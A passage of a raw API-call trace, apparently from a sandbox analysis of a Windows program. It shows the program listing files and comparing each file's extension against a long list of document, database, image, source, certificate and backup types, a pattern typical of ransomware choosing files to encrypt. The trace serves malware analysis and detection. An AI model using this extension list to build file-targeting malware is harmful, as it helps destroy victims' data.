	[0179.317] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1
	[0179.317] lstrlenW (lpString="EppManifest.dll.mui") returned 19
	[0179.317] lstrlenW (lpString=".1cd") returned 4
	[0179.317] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.317] lstrlenW (lpString=".3ds") returned 4
	[0179.317] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0179.317] lstrlenW (lpString=".3fr") returned 4
	[0179.317] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0179.317] lstrlenW (lpString=".3g2") returned 4
	[0179.317] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0179.317] lstrlenW (lpString=".3gp") returned 4
	[0179.317] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0179.317] lstrlenW (lpString=".7z") returned 3
	[0179.317] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.317] lstrlenW (lpString=".accda") returned 6
	[0179.317] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0179.317] lstrlenW (lpString=".accdb") returned 6
	[0179.318] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0179.318] lstrlenW (lpString=".accdc") returned 6
	[0179.318] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0179.318] lstrlenW (lpString=".accde") returned 6
	[0179.318] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0179.318] lstrlenW (lpString=".accdt") returned 6
	[0179.318] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0179.318] lstrlenW (lpString=".accdw") returned 6
	[0179.318] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0179.318] lstrlenW (lpString=".adb") returned 4
	[0179.318] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0179.318] lstrlenW (lpString=".adp") returned 4
	[0179.318] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0179.318] lstrlenW (lpString=".ai") returned 3
	[0179.318] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0179.318] lstrlenW (lpString=".ai3") returned 4
	[0179.318] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".ai4") returned 4
	[0179.439] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".ai5") returned 4
	[0179.439] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".ai6") returned 4
	[0179.439] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".ai7") returned 4
	[0179.439] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".ai8") returned 4
	[0179.439] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".anim") returned 5
	[0179.439] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0179.439] lstrlenW (lpString=".arw") returned 4
	[0179.439] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0179.439] lstrlenW (lpString=".as") returned 3
	[0179.440] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0179.440] lstrlenW (lpString=".asa") returned 4
	[0179.440] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".asc") returned 4
	[0179.440] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".ascx") returned 5
	[0179.440] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0179.440] lstrlenW (lpString=".asm") returned 4
	[0179.440] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".asmx") returned 5
	[0179.440] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0179.440] lstrlenW (lpString=".asp") returned 4
	[0179.440] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".aspx") returned 5
	[0179.440] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0179.440] lstrlenW (lpString=".asr") returned 4
	[0179.440] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".asx") returned 4
	[0179.440] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".avi") returned 4
	[0179.440] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0179.440] lstrlenW (lpString=".avs") returned 4
	[0179.441] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".backup") returned 7
	[0179.441] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0179.441] lstrlenW (lpString=".bak") returned 4
	[0179.441] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".bay") returned 4
	[0179.441] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".bd") returned 3
	[0179.441] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0179.441] lstrlenW (lpString=".bin") returned 4
	[0179.441] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".bmp") returned 4
	[0179.441] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".bz2") returned 4
	[0179.441] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".c") returned 2
	[0179.441] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0179.441] lstrlenW (lpString=".cdr") returned 4
	[0179.441] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".cer") returned 4
	[0179.441] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0179.441] lstrlenW (lpString=".cf") returned 3
	[0179.441] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0179.441] lstrlenW (lpString=".cfc") returned 4
	[0179.442] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".cfm") returned 4
	[0179.442] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".cfml") returned 5
	[0179.442] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0179.442] lstrlenW (lpString=".cfu") returned 4
	[0179.442] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".chm") returned 4
	[0179.442] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".cin") returned 4
	[0179.442] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".class") returned 6
	[0179.442] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0179.442] lstrlenW (lpString=".clx") returned 4
	[0179.442] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".config") returned 7
	[0179.442] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0179.442] lstrlenW (lpString=".cpp") returned 4
	[0179.442] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".cr2") returned 4
	[0179.442] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0179.442] lstrlenW (lpString=".crt") returned 4
	[0179.442] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".crw") returned 4
	[0179.443] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".cs") returned 3
	[0179.443] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0179.443] lstrlenW (lpString=".css") returned 4
	[0179.443] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".csv") returned 4
	[0179.443] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".cub") returned 4
	[0179.443] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".dae") returned 4
	[0179.443] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".dat") returned 4
	[0179.443] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".db") returned 3
	[0179.443] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0179.443] lstrlenW (lpString=".dbf") returned 4
	[0179.443] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".dbx") returned 4
	[0179.443] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".dc3") returned 4
	[0179.443] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0179.443] lstrlenW (lpString=".dcm") returned 4
	[0179.444] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".dcr") returned 4
	[0179.444] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".der") returned 4
	[0179.444] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".dib") returned 4
	[0179.444] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".dic") returned 4
	[0179.444] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".dif") returned 4
	[0179.444] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0179.444] lstrlenW (lpString=".divx") returned 5
	[0179.444] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0179.444] lstrlenW (lpString=".djvu") returned 5
	[0179.444] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0179.444] lstrlenW (lpString=".dng") returned 4
	[0179.445] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".doc") returned 4
	[0179.445] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".docm") returned 5
	[0179.445] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0179.445] lstrlenW (lpString=".docx") returned 5
	[0179.445] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0179.445] lstrlenW (lpString=".dot") returned 4
	[0179.445] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".dotm") returned 5
	[0179.445] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0179.445] lstrlenW (lpString=".dotx") returned 5
	[0179.445] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0179.445] lstrlenW (lpString=".dpx") returned 4
	[0179.445] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".dqy") returned 4
	[0179.445] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".dsn") returned 4
	[0179.445] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0179.445] lstrlenW (lpString=".dt") returned 3
	[0179.445] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0179.445] lstrlenW (lpString=".dtd") returned 4
	[0179.445] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".dwg") returned 4
	[0179.446] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".dwt") returned 4
	[0179.446] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".dx") returned 3
	[0179.446] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0179.446] lstrlenW (lpString=".dxf") returned 4
	[0179.446] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".edml") returned 5
	[0179.446] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0179.446] lstrlenW (lpString=".efd") returned 4
	[0179.446] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".elf") returned 4
	[0179.446] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".emf") returned 4
	[0179.446] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".emz") returned 4
	[0179.446] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".epf") returned 4
	[0179.446] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0179.446] lstrlenW (lpString=".eps") returned 4
	[0179.447] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".epsf") returned 5
	[0179.447] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0179.447] lstrlenW (lpString=".epsp") returned 5
	[0179.447] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0179.447] lstrlenW (lpString=".erf") returned 4
	[0179.447] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".exr") returned 4
	[0179.447] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".f4v") returned 4
	[0179.447] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".fido") returned 5
	[0179.447] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0179.447] lstrlenW (lpString=".flm") returned 4
	[0179.447] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".flv") returned 4
	[0179.447] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".frm") returned 4
	[0179.447] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".fxg") returned 4
	[0179.447] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0179.447] lstrlenW (lpString=".geo") returned 4
	[0179.448] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".gif") returned 4
	[0179.448] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".grs") returned 4
	[0179.448] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".gz") returned 3
	[0179.448] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0179.448] lstrlenW (lpString=".h") returned 2
	[0179.448] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0179.448] lstrlenW (lpString=".hdr") returned 4
	[0179.448] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".hpp") returned 4
	[0179.448] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".hta") returned 4
	[0179.448] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".htc") returned 4
	[0179.448] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".htm") returned 4
	[0179.448] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".html") returned 5
	[0179.448] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0179.448] lstrlenW (lpString=".icb") returned 4
	[0179.448] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0179.448] lstrlenW (lpString=".ics") returned 4
	[0179.449] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".iff") returned 4
	[0179.449] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".inc") returned 4
	[0179.449] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".indd") returned 5
	[0179.449] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0179.449] lstrlenW (lpString=".ini") returned 4
	[0179.449] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".iqy") returned 4
	[0179.449] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".j2c") returned 4
	[0179.449] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".j2k") returned 4
	[0179.449] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".java") returned 5
	[0179.449] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0179.449] lstrlenW (lpString=".jp2") returned 4
	[0179.449] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".jpc") returned 4
	[0179.449] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".jpe") returned 4
	[0179.449] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0179.449] lstrlenW (lpString=".jpeg") returned 5
	[0179.450] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0179.450] lstrlenW (lpString=".jpf") returned 4
	[0179.450] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".jpg") returned 4
	[0179.450] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".jpx") returned 4
	[0179.450] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".js") returned 3
	[0179.450] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0179.450] lstrlenW (lpString=".jsf") returned 4
	[0179.450] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".json") returned 5
	[0179.450] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0179.450] lstrlenW (lpString=".jsp") returned 4
	[0179.450] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".kdc") returned 4
	[0179.450] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".kmz") returned 4
	[0179.450] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".kwm") returned 4
	[0179.450] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0179.450] lstrlenW (lpString=".lasso") returned 6
	[0179.450] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0179.451] lstrlenW (lpString=".lbi") returned 4
	[0179.451] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".lgf") returned 4
	[0179.451] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".lgp") returned 4
	[0179.451] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".log") returned 4
	[0179.451] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".m1v") returned 4
	[0179.451] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".m4a") returned 4
	[0179.451] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".m4v") returned 4
	[0179.451] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".max") returned 4
	[0179.451] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".md") returned 3
	[0179.451] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0179.451] lstrlenW (lpString=".mda") returned 4
	[0179.451] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".mdb") returned 4
	[0179.451] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".mde") returned 4
	[0179.451] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".mdf") returned 4
	[0179.451] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".mdw") returned 4
	[0179.451] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0179.451] lstrlenW (lpString=".mef") returned 4
	[0179.451] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mft") returned 4
	[0179.452] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mfw") returned 4
	[0179.452] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mht") returned 4
	[0179.452] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mhtml") returned 6
	[0179.452] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0179.452] lstrlenW (lpString=".mka") returned 4
	[0179.452] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mkidx") returned 6
	[0179.452] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0179.452] lstrlenW (lpString=".mkv") returned 4
	[0179.452] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mos") returned 4
	[0179.452] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mov") returned 4
	[0179.452] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mp3") returned 4
	[0179.452] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mp4") returned 4
	[0179.452] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mpeg") returned 5
	[0179.452] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0179.452] lstrlenW (lpString=".mpg") returned 4
	[0179.452] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mpv") returned 4
	[0179.452] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0179.452] lstrlenW (lpString=".mrw") returned 4
	[0179.452] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0179.453] lstrlenW (lpString=".msg") returned 4
	[0179.453] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0179.453] lstrlenW (lpString=".mxl") returned 4
	[0179.453] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".myd") returned 4
	[0179.453] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".myi") returned 4
	[0179.453] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".nef") returned 4
	[0179.453] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".nrw") returned 4
	[0179.453] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".obj") returned 4
	[0179.453] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".odb") returned 4
	[0179.453] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".odc") returned 4
	[0179.453] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".odm") returned 4
	[0179.453] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".odp") returned 4
	[0179.453] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".ods") returned 4
	[0179.453] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".oft") returned 4
	[0179.453] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".one") returned 4
	[0179.453] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0179.453] lstrlenW (lpString=".onepkg") returned 7
	[0179.454] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0179.454] lstrlenW (lpString=".onetoc2") returned 8
	[0179.454] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0179.454] lstrlenW (lpString=".opt") returned 4
	[0179.454] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".oqy") returned 4
	[0179.454] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".orf") returned 4
	[0179.454] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".p12") returned 4
	[0179.454] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".p7b") returned 4
	[0179.454] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".p7c") returned 4
	[0179.454] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".pam") returned 4
	[0179.454] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0179.454] lstrlenW (lpString=".pbm") returned 4
	[0179.454] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pct") returned 4
	[0179.455] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pcx") returned 4
	[0179.455] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pdd") returned 4
	[0179.455] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pdf") returned 4
	[0179.455] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pdp") returned 4
	[0179.455] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pef") returned 4
	[0179.455] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pem") returned 4
	[0179.455] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pff") returned 4
	[0179.455] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pfm") returned 4
	[0179.455] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pfx") returned 4
	[0179.455] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".pgm") returned 4
	[0179.455] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".php") returned 4
	[0179.455] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0179.455] lstrlenW (lpString=".php3") returned 5
	[0179.455] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0179.455] lstrlenW (lpString=".php4") returned 5
	[0179.455] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0179.455] lstrlenW (lpString=".php5") returned 5
	[0179.455] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0179.456] lstrlenW (lpString=".phtml") returned 6
	[0179.456] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0179.456] lstrlenW (lpString=".pict") returned 5
	[0179.456] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0179.456] lstrlenW (lpString=".pl") returned 3
	[0179.456] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0179.456] lstrlenW (lpString=".pls") returned 4
